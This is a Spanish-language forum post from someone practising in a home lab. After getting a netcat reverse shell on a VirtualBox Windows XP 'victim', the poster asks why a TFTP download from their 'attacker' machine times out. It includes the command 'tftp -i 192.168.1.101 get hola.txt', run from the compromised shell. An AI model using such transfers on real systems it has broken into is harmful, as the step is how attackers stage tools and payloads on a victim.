El tema es asi.

Tengo mi maquina (atacante, ip 192.168.1.101), y un VirtualBox (victima, ip 10.0.2.10), las dos con windows xp sp2. Hice shell inversa con el NETCAT , y obtuve la shell de la maquina victima .

Ahora yo quiero tranferir archivos por TFTP .
Instale el server TFTPd32 en mi maquina (atacante) y lo tengo andando. Ya configure la carpeta base, y en Security le di None.

En la carpeta base tengo un archivo "hola.txt" .
Introduzco la siguiente sentencia en la maquina victima por la shell que obtuve:

C:\> tftp -i 192.168.1.101 get hola.txt

y me termina diciendo Tiempo de espera agotado.

El log del tftpd32 me dice:

Alguien sabe que puede estar sucediendo?
Aclaro que tengo los firewall desactivados en las dos maquinas.

Instale otro server TFTP , el SolarWinds TFTP y tengo el mismo problema.

En todos los tutoriales que lei lo hacian asi , sospecho que es un problema con el VirtualBox, puede ser?
